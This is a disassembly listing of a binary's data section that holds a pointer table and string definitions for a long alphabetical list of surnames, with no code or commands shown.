aThan ; "Than" dd offset aThavaneswaran ; "Thavaneswaran" dd offset aTheodos ; "Theodos" dd offset aThibault ; "Thibault" dd offset aThisted ; "Thisted" dd offset aThomsen ; "Thomsen" dd offset aThroop ; "Throop" dd offset aTierney ; "Tierney" dd offset aTill ; "Till" dd offset aTimmons ; "Timmons" dd offset aTofallis ; "Tofallis" dd offset aTollestrup ; "Tollestrup" dd offset aTolls ; "Tolls" dd offset aTolman ; "Tolman" dd offset aTomford ; "Tomford" dd offset aToomer ; "Toomer" dd offset aTopulos ; "Topulos" dd offset aTorresi ; "Torresi" dd offset aTorske ; "Torske" dd offset aTowler ; "Towler" dd offset aToye ; "Toye" dd offset aTraebert ; "Traebert" dd offset aTrenga ; "Trenga" dd offset aTrewin ; "Trewin" dd offset aTringali ; "Tringali" dd offset aTroiani ; "Troiani" dd offset aTroy ; "Troy" dd offset aTruss ; "Truss" dd offset aTsiatis ; "Tsiatis" dd offset aTsomides ; "Tsomides" dd offset aTsukurov ; "Tsukurov" dd offset aTuck ; "Tuck" dd offset aTudge ; "Tudge" dd offset aTukan ; "Tukan" dd offset aTurano ; "Turano" dd offset aTurek ; "Turek" dd offset aTuttle_0 ; "Tuttle" dd offset aTwells ; "Twells" dd offset aTzamarias ; "Tzamarias" dd offset aUllman ; "Ullman" dd offset aUntermeyer ; "Untermeyer" dd offset aUpsdell ; "Upsdell" dd offset aUrban ; "Urban" dd offset aUrdangBrown ; "Urdang-Brown" dd offset aUsdan ; "Usdan" dd offset aUzuner ; "Uzuner" dd offset aVacca ; "Vacca" dd offset aWaite ; "Waite" dd offset aValberg ; "Valberg" dd offset aValencia ; "Valencia" dd offset aWales ; "Wales" dd offset aWallenberg ; "Wallenberg" dd offset aWalter ; "Walter" dd offset aVanallen ; "vanAllen" dd offset aVanzwet ; "VanZwet" dd offset aVandenberg ; "Vandenberg" dd offset aVanheeckeren ; "Vanheeckeren" dd offset aWarshafsky ; "Warshafsky" dd offset aWasowska ; "Wasowska" dd offset aVasquez ; "Vasquez" dd offset aWaugh ; "Waugh" dd offset aWeighart ; "Weighart" dd offset aWeingarten ; "Weingarten" dd offset aWeinhaus ; "Weinhaus" dd offset aWeissbourd ; "Weissbourd" dd offset aWeissman ; "Weissman" dd offset aVelasquez ; "Velasquez" dd offset aWelles ; "Welles" dd offset aWelsh ; "Welsh" dd offset aWengret ; "Wengret" dd offset aVenne ; "Venne" dd offset aVerghese ; "Verghese" dd offset aWescott ; "Wescott" dd offset aWetzel ; "Wetzel" dd offset aWhately ; "Whately" dd offset aWhilton ; "Whilton" dd offset aWhite_0 ; "White" dd offset aWhitla ; "Whitla" dd offset aWhittaker ; "Whittaker" dd offset aViana ; "Viana" dd offset aViano ; "Viano" dd offset aWiedersheim ; "Wiedersheim" dd offset aWiener ; "Wiener" dd offset aViens ; "Viens" dd offset aVignola ; "Vignola" dd offset aWilder ; "Wilder" dd offset aWilhelm ; "Wilhelm" dd offset aWilk ; "Wilk" dd offset aWilkin ; "Wilkin" dd offset aWilkinson ; "Wilkinson" dd offset aVillarreal ; "Villarreal" dd offset aWillstatter ; "Willstatter" dd offset aWilson ; "Wilson" dd offset aVitali ; "Vitali" dd offset aViviani ; "Viviani" dd offset aVoigt ; "Voigt" dd offset aWolk ; "Wolk" dd offset aVonhoffman ; "VonHoffman" dd offset aWoo ; "Woo" dd offset aWooden ; "Wooden" dd offset aWoods ; "Woods" dd offset aWoodsPowell ; "Woods-Powell" dd offset aVorhaus ; "Vorhaus" dd offset aVotey ; "Votey" dd offset aYacono ; "Yacono" dd offset aYamane ; "Yamane" dd offset aYankee_0 ; "Yankee" dd offset aYarchuk ; "Yarchuk" dd offset aYates ; "Yates" dd offset aYbarra ; "Ybarra" dd offset aYedidia ; "Yedidia" dd offset aYesson ; "Yesson" dd offset aYetiv ; "Yetiv" dd offset aYoffe ; "Yoffe" dd offset aYoo ; "Yoo" dd offset aYoukSee ; "Youk-See" dd offset aYu ; "Yu" dd offset aZachary ; "Zachary" dd offset aZahedi ; "Zahedi" dd offset aZangwill ; "Zangwill" dd offset aZegans ; "Zegans" dd offset aZerbini ; "Zerbini" dd offset aZoldak ; "Zoldak" dd offset aZucconi ; "Zucconi" dd offset aZurn ; "Zurn" dd offset aZwiers ; "Zwiers" dd offset aZytowski ; "Zytowski" aAbdulrazak db 'Abdulrazak',0 ; DATA XREF: .nsp0:off_445440o align 4 aAckerman db 'Ackerman',0 ; DATA XREF: .nsp0:00445444o align 4 aAdams db 'Adams',0 ; DATA XREF: .nsp0:00445448o align 4 aAddison db 'Addison',0 ; DATA XREF: .nsp0:off_44544Co aAdelstein db 'Adelstein',0 ; DATA XREF: .nsp0:00445450o align 10h aAdibe db 'Adibe',0 ; DATA XREF: .nsp0:00445454o align 4 aAdorno db 'Adorno',0 ; DATA XREF: .nsp0:00445458o align 10h aAhlers db 'Ahlers',0 ; DATA XREF: .nsp0:0044545Co align 4 aAlavi db 'Alavi',0 ; DATA XREF: .nsp0:00445460o align 10h aAlcorn db 'Alcorn',0 ; DATA XREF: .nsp0:00445464o align 4 aAlda db 'Alda',0 ; DATA XREF: .nsp0:00445468o align 10h aAleks db 'Aleks',0 ; DATA XREF: .nsp0:0044546Co align 4 aAllison_0 db 'Allison',0 ; DATA XREF: .nsp0:00445470o aAlongi db 'Alongi',0 ; DATA XREF: .nsp0:00445474o align 4 aAltavilla db 'Altavilla',0 ; DATA XREF: .nsp0:00445478o align 4 aAltenberger db 'Altenberger',0 ; DATA XREF: .nsp0:0044547Co aAltenhofen db 'Altenhofen',0 ; DATA XREF: .nsp0:00445480o align 4 aAmaral db 'Amaral',0 ; DATA XREF: .nsp0:00445484o align 4 aAmatangelo db 'Amatangelo',0 ; DATA XREF: .nsp0:00445488o align 10h aAmeer db 'Ameer',0 ; DATA XREF: .nsp0:0044548Co align 4 aAmsden db 'Amsden',0 ; DATA XREF: .nsp0:00445490o align 10h aAnand db 'Anand',0 ; DATA XREF: .nsp0:00445494o align 4 aAndel db 'Andel',0 ; DATA XREF: .nsp0:00445498o align 10h aAndo db 'Ando',0 ; DATA XREF: .nsp0:0044549Co align 4 aAndrelus db 'Andrelus',0 ; DATA XREF: .nsp0:004454A0o align 4 aAndron db 'Andron',0 ; DATA XREF: .nsp0:004454A4o align 4 aAnfinrud db 'Anfinrud',0 ; DATA XREF: .nsp0:004454A8o align 4 aAnsley db 'Ansley',0 ; DATA XREF: .nsp0:004454ACo align 10h aAnthony db 'Anthony',0 ; DATA XREF: .nsp0:004454B0o aAntos db 'Antos',0 ; DATA XREF: .nsp0:004454B4o align 10h aArbia db 'Arbia',0 ; DATA XREF: .nsp0:004454B8o align 4 aArduini db 'Arduini',0 ; DATA XREF: .nsp0:004454BCo aArellano db 'Arellano',0 ; DATA XREF: .nsp0:004454C0o align 4 aAristotle db 'Aristotle',0 ; DATA XREF: .nsp0:004454C4o align 4 aArjas db 'Arjas',0 ; DATA XREF: .nsp0:004454C8o align 10h aArky db 'Arky',0 ; DATA XREF: .nsp0:004454CCo align 4 aAtkins db 'Atkins',0 ; DATA XREF: .nsp0:004454D0o align 10h aAugustus db 'Augustus',0 ; DATA XREF: .nsp0:004454D4o align 4 aAurelius db 'Aurelius',0 ; DATA XREF: .nsp0:004454D8o align 4 aAxelrod db 'Axelrod',0 ; DATA XREF: .nsp0:004454DCo aAxworthy db 'Axworthy',0 ; DATA XREF: .nsp0:004454E0o align 4 aAyiemba db 'Ayiemba',0 ; DATA XREF: .nsp0:004454E4o aAykroyd db 'Aykroyd',0 ; DATA XREF: .nsp0:004454E8o aAyling db 'Ayling',0 ; DATA XREF: .nsp0:004454ECo align 4 aAzima db 'Azima',0 ; DATA XREF: .nsp0:004454F0o align 4 aBachmuth db 'Bachmuth',0 ; DATA XREF: .nsp0:004454F4o align 4 aBackus db 'Backus',0 ; DATA XREF: .nsp0:004454F8o align 10h aBady db 'Bady',0 ; DATA XREF: .nsp0:004454FCo align 4 aBaglivo db 'Baglivo',0 ; DATA XREF: .nsp0:00445500o aBagnold db 'Bagnold',0 ; DATA XREF: .nsp0:00445504o aBailar db 'Bailar',0 ; DATA XREF: .nsp0:00445508o align 10h aBakanowsky db 'Bakanowsky',0 ; DATA XREF: .nsp0:0044550Co align 4 aBaleja db 'Baleja',0 ; DATA XREF: .nsp0:00445510o align 4 aBallatori db 'Ballatori',0 ; DATA XREF: .nsp0:00445514o align 10h aBallew db 'Ballew',0 ; DATA XREF: .nsp0:00445518o align 4 aBaltz db 'Baltz',0 ; DATA XREF: .nsp0:0044551Co align 10h aBanta db 'Banta',0 ; DATA XREF: .nsp0:00445520o align 4 aBarabesi db 'Barabesi',0 ; DATA XREF: .nsp0:00445524o align 4 aBarajas db 'Barajas',0 ; DATA XREF: .nsp0:00445528o aBaranczak db 'Baranczak',0 ; DATA XREF: .nsp0:0044552Co align 4 aBaranowska db 'Baranowska',0 ; DATA XREF: .nsp0:00445530o align 4 aBarberi db 'Barberi',0 ; DATA XREF: .nsp0:00445534o aBarbetti db 'Barbetti',0 ; DATA XREF: .nsp0:00445538o align 4 aBarneson db 'Barneson',0 ; DATA XREF: .nsp0:0044553Co align 4 aBarnett db 'Barnett',0 ; DATA XREF: .nsp0:00445540o aBarriola db 'Barriola',0 ; DATA XREF: .nsp0:00445544o align 4 aBarry db 'Barry',0 ; DATA XREF: .nsp0:00445548o align 10h aBartholomew db 'Bartholomew',0 ; DATA XREF: .nsp0:0044554Co aBartolome db 'Bartolome',0 ; DATA XREF: .nsp0:00445550o align 4 aBartoo db 'Bartoo',0 ; DATA XREF: .nsp0:00445554o align 10h aBasavappa db 'Basavappa',0 ; DATA XREF: .nsp0:00445558o align 4 aBashevis db 'Bashevis',0 ; DATA XREF: .nsp0:0044555Co align 4 aBatchelder db 'Batchelder',0 ; DATA XREF: .nsp0:00445560o align 4 aBaumiller db 'Baumiller',0 ; DATA XREF: .nsp0:00445564o align 10h aBayles db 'Bayles',0 ; DATA XREF: .nsp0:00445568o align 4 aBayo db 'Bayo',0 ; DATA XREF: .nsp0:0044556Co align 10h aBeacon db 'Beacon',0 ; DATA XREF: .nsp0:00445570o align 4 aBeal db 'Beal',0 ; DATA XREF: .nsp0:00445574o align 10h aBean db 'Bean',0 ; DATA XREF: .nsp0:00445578o align 4 aBeckman db 'Beckman',0 ; DATA XREF: .nsp0:0044557Co aBeder db 'Beder',0 ; DATA XREF: .nsp0:00445580o align 4 aBedford db 'Bedford',0 ; DATA XREF: .nsp0:00445584o aBehenna db 'Behenna',0 ; DATA XREF: .nsp0:00445588o aBelanger db 'Belanger',0 ; DATA XREF: .nsp0:0044558Co align 4 aBelaoussof db 'Belaoussof',0 ; DATA XREF: .nsp0:00445590o align 10h aBelfer db 'Belfer',0 ; DATA XREF: .nsp0:00445594o align 4 aBelinCollart db 'Belin-Collart',0 ; DATA XREF: .nsp0:00445598o align 4 aBellavance db 'Bellavance',0 ; DATA XREF: .nsp0:0044559Co align 4 aBellhouse db 'Bellhouse',0 ; DATA XREF: .nsp0:004455A0o align 10h aBellini db 'Bellini',0 ; DATA XREF: .nsp0:004455A4o aBelloc db 'Belloc',0 ; DATA XREF: .nsp0:004455A8o align 10h aBenedictDye db 'Benedict-Dye',0 ; DATA XREF: .nsp0:004455ACo align 10h aBergson db 'Bergson',0 ; DATA XREF: .nsp0:004455B0o aBerkeJenkins db 'Berke-Jenkins',0 ; DATA XREF: .nsp0:004455B4o align 4 aBernardo db 'Bernardo',0 ; DATA XREF: .nsp0:004455B8o align 4 aBernassola db 'Bernassola',0 ; DATA XREF: .nsp0:004455BCo align 10h aBernston db 'Bernston',0 ; DATA XREF: .nsp0:004455C0o align 4 aBerrizbeitia db 'Berrizbeitia',0 ; DATA XREF: .nsp0:004455C4o align 4 aBetti db 'Betti',0 ; DATA XREF: .nsp0:004455C8o align 4 aBeynart db 'Beynart',0 ; DATA XREF: .nsp0:004455CCo aBiagioli db 'Biagioli',0 ; DATA XREF: .nsp0:004455D0o align 4 aBickel db 'Bickel',0 ; DATA XREF: .nsp0:004455D4o align 10h aBinion db 'Binion',0 ; DATA XREF: .nsp0:004455D8o align 4 aBir db 'Bir',0 ; DATA XREF: .nsp0:004455DCo aBisema db 'Bisema',0 ; DATA XREF: .nsp0:004455E0o align 4 aBisho db 'Bisho',0 ; DATA XREF: .nsp0:004455E4o align 4 aBlackbourn db 'Blackbourn',0 ; DATA XREF: .nsp0:004455E8o align 4 aBlackwell db 'Blackwell',0 ; DATA XREF: .nsp0:004455ECo align 4 aBlagg db 'Blagg',0 ; DATA XREF: .nsp0:004455F0o align 4 aBlakemore db 'Blakemore',0 ; DATA XREF: .nsp0:004455F4o align 4 aBlanke db 'Blanke',0 ; DATA XREF: .nsp0:004455F8o align 10h aBliss db 'Bliss',0 ; DATA XREF: .nsp0:004455FCo align 4 aBlizard db 'Blizard',0 ; DATA XREF: .nsp0:00445600o aBloch db 'Bloch',0 ; DATA XREF: .nsp0:00445604o align 4 aBloembergen db 'Bloembergen',0 ; DATA XREF: .nsp0:00445608o aBloemhof db 'Bloemhof',0 ; DATA XREF: .nsp0:0044560Co align 10h aBloxham db 'Bloxham',0 ; DATA XREF: .nsp0:00445610o aBlyth db 'Blyth',0 ; DATA XREF: .nsp0:00445614o align 10h aBolger db 'Bolger',0 ; DATA XREF: .nsp0:00445618o align 4 aBolick db 'Bolick',0 ; DATA XREF: .nsp0:0044561Co align 10h aBollinger db 'Bollinger',0 ; DATA XREF: .nsp0:00445620o align 4 aBologna db 'Bologna',0 ; DATA XREF: .nsp0:00445624o aBoner_0 db 'Boner',0 ; DATA XREF: .nsp0:00445628o align 4 aBonham db 'Bonham',0 ; DATA XREF: .nsp0:0044562Co align 4 aBoniface db 'Boniface',0 ; DATA XREF: .nsp0:00445630o align 10h aBontempo db 'Bontempo',0 ; DATA XREF: .nsp0:00445634o align 4 aBook_0 db 'Book',0 ; DATA XREF: .nsp0:00445638o align 4 aBookbinder db 'Bookbinder',0 ; DATA XREF: .nsp0:0044563Co align 10h aBoone db 'Boone',0 ; DATA XREF: .nsp0:00445640o align 4 aBoorstin db 'Boorstin',0 ; DATA XREF: .nsp0:00445644o align 4 aBorack db 'Borack',0 ; DATA XREF: .nsp0:00445648o align 4 aBorden db 'Borden',0 ; DATA XREF: .nsp0:0044564Co align 4 aBossi db 'Bossi',0 ; DATA XREF: .nsp0:00445650o align 4 aBothman db 'Bothman',0 ; DATA XREF: .nsp0:00445654o aBotosh db 'Botosh',0 ; DATA XREF: .nsp0:00445658o align 4 aBoudin db 'Boudin',0 ; DATA XREF: .nsp0:0044565Co align 4 aBoudrot db 'Boudrot',0 ; DATA XREF: .nsp0:00445660o aBourneuf db 'Bourneuf',0 ; DATA XREF: .nsp0:00445664o align 4 aBowers db 'Bowers',0 ; DATA XREF: .nsp0:00445668o align 10h aBoxer db 'Boxer',0 ; DATA XREF: .nsp0:0044566Co align 4 aBoyajian db 'Boyajian',0 ; DATA XREF: .nsp0:00445670o align 4 aBoyes db 'Boyes',0 ; DATA XREF: .nsp0:00445674o align 4 aBoyland db 'Boyland',0 ; DATA XREF: .nsp0:00445678o aBoym db 'Boym',0 ; DATA XREF: .nsp0:0044567Co align 4 aBoyne db 'Boyne',0 ; DATA XREF: .nsp0:00445680o align 4 aBracalente db 'Bracalente',0 ; DATA XREF: .nsp0:00445684o align 10h aBradac db 'Bradac',0 ; DATA XREF: .nsp0:00445688o align 4 aBradach db 'Bradach',0 ; DATA XREF: .nsp0:0044568Co aBrecht db 'Brecht',0 ; DATA XREF: .nsp0:00445690o align 4 aBreed db 'Breed',0 ; DATA XREF: .nsp0:00445694o align 10h aBrenan db 'Brenan',0 ; DATA XREF: .nsp0:00445698o align 4 aBrennan db 'Brennan',0 ; DATA XREF: .nsp0:0044569Co aBrewer db 'Brewer',0 ; DATA XREF: .nsp0:004456A0o align 4 aBrewer_0 db 'Brewer',0 ; DATA XREF: .nsp0:004456A4o align 10h aBridgeman db 'Bridgeman',0 ; DATA XREF: .nsp0:004456A8o align 4 aBridges db 'Bridges',0 ; DATA XREF: .nsp0:004456ACo aBrinton db 'Brinton',0 ; DATA XREF: .nsp0:004456B0o aBritz db 'Britz',0 ; DATA XREF: .nsp0:004456B4o align 4 aBroca db 'Broca',0 ; DATA XREF: .nsp0:004456B8o align 4 aBrook db 'Brook',0 ; DATA XREF: .nsp0:004456BCo align 4 aBrzycki db 'Brzycki',0 ; DATA XREF: .nsp0:004456C0o aBuchan db 'Buchan',0 ; DATA XREF: .nsp0:004456C4o align 4 aBudding db 'Budding',0 ; DATA XREF: .nsp0:004456C8o aBullard db 'Bullard',0 ; DATA XREF: .nsp0:004456CCo aBunton db 'Bunton',0 ; DATA XREF: .nsp0:004456D0o align 4 aBurden db 'Burden',0 ; DATA XREF: .nsp0:004456D4o align 4 aBurdzy db 'Burdzy',0 ; DATA XREF: .nsp0:004456D8o align 4 aBurke db 'Burke',0 ; DATA XREF: .nsp0:004456DCo align 4 aBurridge db 'Burridge',0 ; DATA XREF: .nsp0:004456E0o align 10h aBusetta db 'Busetta',0 ; DATA XREF: .nsp0:004456E4o aByatt db 'Byatt',0 ; DATA XREF: .nsp0:004456E8o align 10h aByerly db 'Byerly',0 ; DATA XREF: .nsp0:004456ECo align 4 aByrd db 'Byrd',0 ; DATA XREF: .nsp0:004456F0o align 10h aCage db 'Cage',0 ; DATA XREF: .nsp0:004456F4o align 4 aCalnan db 'Calnan',0 ; DATA XREF: .nsp0:004456F8o align 10h aCammelli db 'Cammelli',0 ; DATA XREF: .nsp0:004456FCo align 4 aCammilleri db 'Cammilleri',0 ; DATA XREF: .nsp0:00445700o align 4 aCanley db 'Canley',0 ; DATA XREF: .nsp0:00445704o align 10h aCapanni db 'Capanni',0 ; DATA XREF: .nsp0:00445708o aCaperton db 'Caperton',0 ; DATA XREF: .nsp0:0044570Co align 4 aCapocaccia db 'Capocaccia',0 ; DATA XREF: .nsp0:00445710o align 10h aCapodilupo db 'Capodilupo',0 ; DATA XREF: .nsp0:00445714o align 4 aCappuccio db 'Cappuccio',0 ; DATA XREF: .nsp0:00445718o align 4 aCapursi db 'Capursi',0 ; DATA XREF: .nsp0:0044571Co aCaratozzolo db 'Caratozzolo',0 ; DATA XREF: .nsp0:00445720o aCarayannopoulo db 'Carayannopoulos',0 ; DATA XREF: .nsp0:00445724o aCarlin db 'Carlin',0 ; DATA XREF: .nsp0:00445728o align 4 aCarlos db 'Carlos',0 ; DATA XREF: .nsp0:0044572Co align 4 aCarlyle db 'Carlyle',0 ; DATA XREF: .nsp0:00445730o aCarmichael db 'Carmichael',0 ; DATA XREF: .nsp0:00445734o align 10h aCaroti db 'Caroti',0 ; DATA XREF: .nsp0:00445738o align 4 aCarper db 'Carper',0 ; DATA XREF: .nsp0:0044573Co align 10h aCartmill db 'Cartmill',0 ; DATA XREF: .nsp0:00445740o align 4 aCascio db 'Cascio',0 ; DATA XREF: .nsp0:00445744o align 4 aCase db 'Case',0 ; DATA XREF: .nsp0:00445748o align 4 aCaspar db 'Caspar',0 ; DATA XREF: .nsp0:0044574Co align 4 aCastelda db 'Castelda',0 ; DATA XREF: .nsp0:off_445750o align 10h aCavanagh db 'Cavanagh',0 ; DATA XREF: .nsp0:00445754o align 4 aCavell db 'Cavell',0 ; DATA XREF: .nsp0:00445758o align 4 aCeniceros db 'Ceniceros',0 ; DATA XREF: .nsp0:0044575Co align 10h aCerioli db 'Cerioli',0 ; DATA XREF: .nsp0:00445760o aChapman db 'Chapman',0 ; DATA XREF: .nsp0:00445764o aCharles_0 db 'Charles',0 ; DATA XREF: .nsp0:00445768o aCheang db 'Cheang',0 ; DATA XREF: .nsp0:0044576Co align 10h aCherry db 'Cherry',0 ; DATA XREF: .nsp0:00445770o align 4 aChervinsky db 'Chervinsky',0 ; DATA XREF: .nsp0:00445774o align 4 aChiassino db 'Chiassino',0 ; DATA XREF: .nsp0:00445778o align 10h aChien db 'Chien',0 ; DATA XREF: .nsp0:0044577Co align 4 aChildress db 'Childress',0 ; DATA XREF: .nsp0:00445780o align 4 aChilds db 'Childs',0 ; DATA XREF: .nsp0:00445784o align 4 aChinipardaz db 'Chinipardaz',0 ; DATA XREF: .nsp0:00445788o aChinman db 'Chinman',0 ; DATA XREF: .nsp0:0044578Co aChristenson db 'Christenson',0 ; DATA XREF: .nsp0:00445790o aChristian db 'Christian',0 ; DATA XREF: .nsp0:00445794o align 4 aChristiano db 'Christiano',0 ; DATA XREF: .nsp0:00445798o align 4 aChristie db 'Christie',0 ; DATA XREF: .nsp0:0044579Co align 10h aChristopher db 'Christopher',0 ; DATA XREF: .nsp0:004457A0o aChu db 'Chu',0 ; DATA XREF: .nsp0:004457A4o aChupasko db 'Chupasko',0 ; DATA XREF: .nsp0:004457A8o align 4 aChurch db 'Church',0 ; DATA XREF: .nsp0:004457ACo align 4 aCiampaglia db 'Ciampaglia',0 ; DATA XREF: .nsp0:004457B0o align 10h aCicero db 'Cicero',0 ; DATA XREF: .nsp0:004457B4o align 4 aCifarelli db 'Cifarelli',0 ; DATA XREF: .nsp0:004457B8o align 4 aClaffey db 'Claffey',0 ; DATA XREF: .nsp0:004457BCo aClancy db 'Clancy',0 ; DATA XREF: .nsp0:004457C0o align 4 aClark db 'Clark',0 ; DATA XREF: .nsp0:004457C4o align 4 aClement db 'Clement',0 ; DATA XREF: .nsp0:004457C8o aClifton db 'Clifton',0 ; DATA XREF: .nsp0:004457CCo aClow db 'Clow',0 ; DATA XREF: .nsp0:004457D0o align 4 aCoblenz db 'Coblenz',0 ; DATA XREF: .nsp0:004457D4o aCoito db 'Coito',0 ; DATA XREF: .nsp0:004457D8o align 4 aColdren db 'Coldren',0 ; DATA XREF: .nsp0:004457DCo aColella db 'Colella',0 ; DATA XREF: .nsp0:004457E0o aCollard db 'Collard',0 ; DATA XREF: .nsp0:004457E4o aCollis db 'Collis',0 ; DATA XREF: .nsp0:004457E8o align 4 aCompton db 'Compton',0 ; DATA XREF: .nsp0:004457ECo aCompton_0 db 'Compton',0 ; DATA XREF: .nsp0:004457F0o aComstock db 'Comstock',0 ; DATA XREF: .nsp0:004457F4o align 10h aConcino db 'Concino',0 ; DATA XREF: .nsp0:004457F8o aCondodina db 'Condodina',0 ; DATA XREF: .nsp0:004457FCo align 4 aConnors db 'Connors',0 ; DATA XREF: .nsp0:00445800o aCorey db 'Corey',0 ; DATA XREF: .nsp0:00445804o align 4 aCornish db 'Cornish',0 ; DATA XREF: .nsp0:00445808o aCosmides db 'Cosmides',0 ; DATA XREF: .nsp0:0044580Co align 4 aCounter db 'Counter',0 ; DATA XREF: .nsp0:00445810o aCoutaux db 'Coutaux',0 ; DATA XREF: .nsp0:00445814o aCrawford db 'Crawford',0 ; DATA XREF: .nsp0:00445818o align 4 aCrocker db 'Crocker',0 ; DATA XREF: .nsp0:0044581Co aCroshaw db 'Croshaw',0 ; DATA XREF: .nsp0:00445820o aCroxen db 'Croxen',0 ; DATA XREF: .nsp0:00445824o align 4 aCroxton db 'Croxton',0 ; DATA XREF: .nsp0:00445828o aCui db 'Cui',0 ; DATA XREF: .nsp0:0044582Co aCurrier db 'Currier',0 ; DATA XREF: .nsp0:00445830o aCutler db 'Cutler',0 ; DATA XREF: .nsp0:00445834o align 4 aCvek db 'Cvek',0 ; DATA XREF: .nsp0:00445838o align 10h aCyders db 'Cyders',0 ; DATA XREF: .nsp0:0044583Co align 4 aDasilva db 'daSilva',0 ; DATA XREF: .nsp0:00445840o aDaldalian db 'Daldalian',0 ; DATA XREF: .nsp0:00445844o align 4 aDaly db 'Daly',0 ; DATA XREF: .nsp0:00445848o align 4 aDAmbra db 'D',27h,'Ambra',0 ; DATA XREF: .nsp0:0044584Co aDanieli db 'Danieli',0 ; DATA XREF: .nsp0:00445850o aDante db 'Dante',0 ; DATA XREF: .nsp0:00445854o align 4 aDapice db 'Dapice',0 ; DATA XREF: .nsp0:00445858o align 4 aDArcangelo db 'D',27h,'arcangelo',0 ; DATA XREF: .nsp0:0044585Co aDas db 'Das',0 ; DATA XREF: .nsp0:00445860o aDasgupta db 'Dasgupta',0 ; DATA XREF: .nsp0:00445864o align 10h aDaskalu db 'Daskalu',0 ; DATA XREF: .nsp0:00445868o aDavid db 'David',0 ; DATA XREF: .nsp0:0044586Co align 10h aDawkins db 'Dawkins',0 ; DATA XREF: .nsp0:00445870o aDegennaro db 'DeGennaro',0 ; DATA XREF: .nsp0:00445874o align 4 aDelapena db 'DeLaPena',0 ; DATA XREF: .nsp0:00445878o align 10h aDelEnclos db 'del',27h,'Enclos',0 ; DATA XREF: .nsp0:0044587Co align 4 aDerousse db 'deRousse',0 ; DATA XREF: .nsp0:00445880o align 4 aDebroff db 'Debroff',0 ; DATA XREF: .nsp0:00445884o aDees db 'Dees',0 ; DATA XREF: .nsp0:00445888o align 4 aDefeciani db 'Defeciani',0 ; DATA XREF: .nsp0:0044588Co align 4 aDelattre db 'Delattre',0 ; DATA XREF: .nsp0:00445890o align 10h aDeleonRendon db 'Deleon-Rendon',0 ; DATA XREF: .nsp0:00445894o align 10h aDelger db 'Delger',0 ; DATA XREF: .nsp0:00445898o align 4 aDellAcqua db 'Dell',27h,'acqua',0 ; DATA XREF: .nsp0:0044589Co align 4 aDeming db 'Deming',0 ; DATA XREF: .nsp0:004458A0o align 4 aDempster db 'Dempster',0 ; DATA XREF: .nsp0:004458A4o align 4 aDemusz db 'Demusz',0 ; DATA XREF: .nsp0:004458A8o align 10h aDenault db 'Denault',0 ; DATA XREF: .nsp0:004458ACo aDenham db 'Denham',0 ; DATA XREF: .nsp0:004458B0o align 10h aDenison db 'Denison',0 ; DATA XREF: .nsp0:004458B4o aDesombre db 'Desombre',0 ; DATA XREF: .nsp0:004458B8o align 4 aDeutsch db 'Deutsch',0 ; DATA XREF: .nsp0:004458BCo aDFini db 'D',27h,'fini',0 ; DATA XREF: .nsp0:004458C0o align 4 aDicks db 'Dicks',0 ; DATA XREF: .nsp0:004458C4o align 4 aDiefenbach db 'Diefenbach',0 ; DATA XREF: .nsp0:004458C8o align 4 aDifabio db 'Difabio',0 ; DATA XREF: .nsp0:004458CCo aDifronzo db 'Difronzo',0 ; DATA XREF: .nsp0:004458D0o align 4 aDilworth db 'Dilworth',0 ; DATA XREF: .nsp0:004458D4o align 4 aDionysius db 'Dionysius',0 ; DATA XREF: .nsp0:004458D8o align 4 aDirksen db 'Dirksen',0 ; DATA XREF: .nsp0:004458DCo aDockery db 'Dockery',0 ; DATA XREF: .nsp0:004458E0o aDoherty db 'Doherty',0 ; DATA XREF: .nsp0:004458E4o aDonahue db 'Donahue',0 ; DATA XREF: .nsp0:004458E8o aDonner db 'Donner',0 ; DATA XREF: .nsp0:004458ECo align 4 aDoonan db 'Doonan',0 ; DATA XREF: .nsp0:004458F0o align 4 aDore db 'Dore',0 ; DATA XREF: .nsp0:004458F4o align 4 aDorf db 'Dorf',0 ; DATA XREF: .nsp0:004458F8o align 4 aDosi db 'Dosi',0 ; DATA XREF: .nsp0:004458FCo align 4 aDoty db 'Doty',0 ; DATA XREF: .nsp0:00445900o align 4 aDoug db 'Doug',0 ; DATA XREF: .nsp0:00445904o align 4 aDowsland db 'Dowsland',0 ; DATA XREF: .nsp0:00445908o align 4 aDrinker db 'Drinker',0 ; DATA XREF: .nsp0:0044590Co aDSouza db 'D',27h,'souza',0 ; DATA XREF: .nsp0:00445910o aDuffin db 'Duffin',0 ; DATA XREF: .nsp0:00445914o align 10h aDurrett db 'Durrett',0 ; DATA XREF: .nsp0:00445918o aDussault db 'Dussault',0 ; DATA XREF: .nsp0:0044591Co align 4 aDwyer db 'Dwyer',0 ; DATA XREF: .nsp0:00445920o align 4 aEardley db 'Eardley',0 ; DATA XREF: .nsp0:00445924o aEbeling db 'Ebeling',0 ; DATA XREF: .nsp0:00445928o aEckel db 'Eckel',0 ; DATA XREF: .nsp0:0044592Co align 4 aEdley db 'Edley',0 ; DATA XREF: .nsp0:00445930o align 4 aEdner db 'Edner',0 ; DATA XREF: .nsp0:00445934o align 4 aEdward db 'Edward',0 ; DATA XREF: .nsp0:00445938o align 4 aEickenhorst db 'Eickenhorst',0 ; DATA XREF: .nsp0:0044593Co aEliasson db 'Eliasson',0 ; DATA XREF: .nsp0:00445940o align 4 aElmendorf db 'Elmendorf',0 ; DATA XREF: .nsp0:00445944o align 10h aElmerick db 'Elmerick',0 ; DATA XREF: .nsp0:00445948o align 4 aElvis db 'Elvis',0 ; DATA XREF: .nsp0:0044594Co align 4 aEncinas db 'Encinas',0 ; DATA XREF: .nsp0:00445950o aEnyeart db 'Enyeart',0 ; DATA XREF: .nsp0:00445954o aEppling db 'Eppling',0 ; DATA XREF: .nsp0:00445958o aErbach db 'Erbach',0 ; DATA XREF: .nsp0:0044595Co align 4 aErdman db 'Erdman',0 ; DATA XREF: .nsp0:00445960o align 4 aErdos db 'Erdos',0 ; DATA XREF: .nsp0:00445964o align 4 aErez db 'Erez',0 ; DATA XREF: .nsp0:00445968o align 4 aEspinoza db 'Espinoza',0 ; DATA XREF: .nsp0:0044596Co align 4 aEstes db 'Estes',0 ; DATA XREF: .nsp0:00445970o align 10h aEtter db 'Etter',0 ; DATA XREF: .nsp0:00445974o align 4 aEuripides db 'Euripides',0 ; DATA XREF: .nsp0:00445978o align 4 aEverett db 'Everett',0 ; DATA XREF: .nsp0:0044597Co aFabbris db 'Fabbris',0 ; DATA XREF: .nsp0:00445980o aFagan db 'Fagan',0 ; DATA XREF: .nsp0:00445984o align 4 aFaioes db 'Faioes',0 ; DATA XREF: .nsp0:00445988o align 4 aFalcoAcosta db 'Falco-Acosta',0 ; DATA XREF: .nsp0:0044598Co align 4 aFalorsi db 'Falorsi',0 